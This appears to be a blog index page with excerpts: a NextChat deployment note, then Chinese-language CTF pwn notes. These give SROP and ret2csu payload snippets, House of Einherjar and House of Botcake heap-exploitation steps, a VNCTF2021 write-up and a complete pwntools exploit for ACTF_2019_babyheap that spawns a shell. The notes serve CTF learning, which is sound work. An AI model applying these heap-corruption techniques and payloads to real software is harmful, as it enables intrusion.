NextChat Deployment and Customization (WIP)
NextChat A nice cross-platform customizable AI assitant. See its Official repo. Handling sessions with different AI models in a single privately-deployed web app. Deployment Deploying NextChat with vercel is a no-brainer, everything can be done by simply following the vercel Deploy button in NextChat’s manual. Before my deployment, several key enviroment variables are set: ENABLE_MCP: true ANTHROPIC_URL, BASE_URL: since AI proxy platform is used, these URLs are set to the URL provided by the AI proxy platform Other environment variables are set according to the manual Sync it up On daily basis, I have to operate on multiple PC/laptops, cross device sync-up is hence a must. NextChat has built-in support to sync up data with UpStash, which is nice because UpStash provides free database service. (well, free until certain extent of usage but it is generally enough for personal use of NextChat). ...
Pwn Snippet
Code Snippets for Pwn 这里记录一些做CTF pwn题中大概也许可能会复用的代码片段. magic_gadget + setcontext+61 (高版本glibc) 注1: the_gadget 即 0x154b20: mov rdx,QWORD PTR [rdi+0x8] 0x154b24: mov QWORD PTR [rsp],rax 0x154b28: call QWORD PTR [rdx+0x20] SROP+伪造栈帧,按需布置伪栈帧和ROP链即可: frame = SigreturnFrame() frame.rax = 0 frame.rsp = ROP_address frame.rip = ret frame_str = str(frame).ljust(frame_size,"\x00) payload = p64(the_gadget) + p64(frame_addr) + p64(0)*4 + p64(setcontext+61) + frame_str[0x28:] payload += ..... #other stuff and ROP chain _IO_2_1_stdout_ gdb查找语句: p &_IO_2_1_stdout_ 覆盖为: payload = p64(0xfbad1800)+p64(0x0)*3+'\x00' ret2CSU payload = p6r + p64(0) + p64(1) + fuction_ptr\ + arg3 + arg2 + arg1 + mov_call\ + "\x00"*56 + return_address
House of Einherjar
House Of Einherjar 通过off-by-one/off-by-null, 申请任意地址 利用结果: 使malloc返回任意地址 要求: 堆泄露, off-by-null 适用版本: 本篇记录的是改进版的House of Einherjar, 适用于包括2.31的带tcache版本. 利用方式 总结一下, 会用到三个chunk: a,b,c a: 在其中构造fake chunk b: victim, 在其中off-by-null溢出到c, 并修改c的prev_size,与fake chunk重叠 c: 被溢出修改prev_size的chunk 一些细节如下: c的chunk大小应为0x100的倍数,这样off-by-null时就不会出问题 fake_chunk -> size 要等于 c-> prev_size fake_chunk -> fd, fake_chunk -> bk 都指向fake_chunk, 以绕过unlink时的检查,也因此需要堆泄露 流程: 申请a,b,c 在B中改写C->prev_size, 同时通过OFF-BY-NULL写C->prev_inuse为0 填满 tcache[c -> size]; 当然,情况允许的话,我们也可以直接申请大于tcache范围的chunk. 释放c, 触发fake_chunk与c的合并 申请fake_chunk+c的chunk, 叫他d 桥豆麻袋! 此处需要先malloc并free一个b大小的chunk做padding. 释放b 开始攻击(tcache poisoning): 利用d修改 b->fd 为target 申请两次,第二次申请获取到target! 参考 https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_einherjar.c
House of Botcake
House of Botcake 2.27中也可使用, 绕过tcache double free的检测. 利用结果: 使malloc返回任意地址 要求: 存在double free 利用方式 使用0x100 (chunk size: 0x110)来演示: listTrash = malloc(0x100) * 7 prev = malloc(0x100) a = malloc(0x100) # the victim malloc (0x10) #padding free(listTrash[i]) for i in [0,7) # fill up tcachebin free(a) # free a; a in unsortedbin free(prev) # prev consolidate with a malloc(0x100); # get one chunk from tcache free(a) # free victim again, now it is also in tcachebin malloc(0x120) # 利用重叠申请到prev+victim合并产生的chunk 改写victim的fd malloc(0x100) # BOOM! 参考 https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_botcake.c ...
VNCTF2021 Pwn
一点废话 2021年三月某个周日,安排本来是上午运动,下午打这个比赛. 然而篮球斗牛过程中被对手爆了头,昏了一整天,遂将这比赛鸽了… 过了一个月,回头看下比赛中的pwn题. ff glibc 2.32, 需要疯狂调试的一道题,令人昏迷. 程序分析 漏洞 free 后指针未清空. 坑点 没用数组存储指针, 只能控制上一个malloc()的chunk 能malloc()的最大大小为0x7F (之后会发现这点把最后利用时使用的size卡的很死) show() 只能用一次, 应该是要打stdout了 edit() 只能用两次… 2.32中, tcache_entry 中的next指针会被PROTECT_PTR函数异或处理, 使用的mask为其地址»12. 思路 利用PROTECT_PTR: 利用next值为0的chunk, 和 mask ⊕ 0 = mask 以上这个特性, show()泄露出 mask. mask存放着 堆地址 » 12. show()次数用尽. 通过UAF漏洞, edit()修改tcache_entry中的key值. tcache_entry使用用户chunk中的用户数据,key就在所谓bk指针的位置. 修改完key值,就可以绕过检查进行double free(). 通过edit()做tcache poisoning, 劫持到tcache_perthread_struct. 需注意tcache_entry->next 指向的是用户数据段, 因此需要劫持的地址需要加上0x10. 还需要用之前泄露出的mask对其做一次异或. edit()次数用尽. edit(p64(mask ^ (heap_base + 0x10))+p64(0)) tcache_perthread_struct大小为0x290, 我们把counts[0x290]覆盖成大于等于7,就能将其释放到unsortedbin中. 非常重要的一点: 记得我们在tcache_perthread_struct操作, 该chunk进入unsortedbin中会对counts[]进行污染,我们要将其清零. 同时,我们也应当为之后的利用entries[]的操作做准备,设置对应的counts[]值使其大于零. 利用unsortedbin中chunk的分割,将main_arena地址写到entries[目标大小]中. 通过partial overwrite 打到_IO_2_1_stdout_ (需要爆破,1 / 2^4). ...
简单堆题write-up
ACTF_2019_babyheap 经典的notebook题目结构, 堆利用当中最简单的类型 有 ============================== This is a heap exploit demo ============================== 1. Create something 2. Delete something 3. Print something 4. Exit create, delete, print 三个选项。 创建的结构体如下 字符串指针 函数指针 字符串也由malloc()创建,且可以任意指定其长度和内容。 free()的时候也没有清空内容。 利用思路很明显了: create两次,其中字符串的内容不重要,只要保证其释放后不被放入0x20的fastbin中。 此处使这这两个字符串大小为0x20,因此他们被释放后会被放入0x30的字符串当中。 释放这两个note之后的fastbin如下 0x20 note0 🠗 note1 0x30 String0 🠗 String1 再次create,但申请的字符串大小为0x10(chunk大小即为0x20)。fastbin是FILO(first in last out)的,那么 note2 = note1 string2 = note0 题目bss段中贴心的准备了/bin/sh字符串,也有system函数。 在create时向string2中写入 binsh地址 | system的PLT表地址 print选项调用note0.函数指针,就能成功调用system('/bin/sh'),完整payload如下 if len(sys.argv) >1 and sys.argv[1] == 'r': target = remote() else: target = process("./ACTF_2019_babyheap") if(len(sys.argv)>1) and sys.argv[1]=='g': gdb.attach(target) context.log_level='debug' binsh=0x602010 system_plt = 0x4007A0 def s(in_put): target.sendlineafter("choice: ",in_put) def create(size,content): s("1") target.recvuntil("size: \n") target.sendline(str(size)) target.recvuntil("content: \n") target.send(content) def delete(index): s("2") target.recvuntil("index: \n") target.sendline(str(index)) def pwn(): create(0x20,"A"*8+"\n") create(0x20,"B"*8+"\n") delete(0) delete(1) create(0x10,p64(binsh)+p64(system_plt)) #use print at index 0 to getshell after this target.interactive() pwn() WDB_2018_1st_babyheap 同样是菜单题目,设计的十分巧妙,涉及到了很多堆的知识点. ...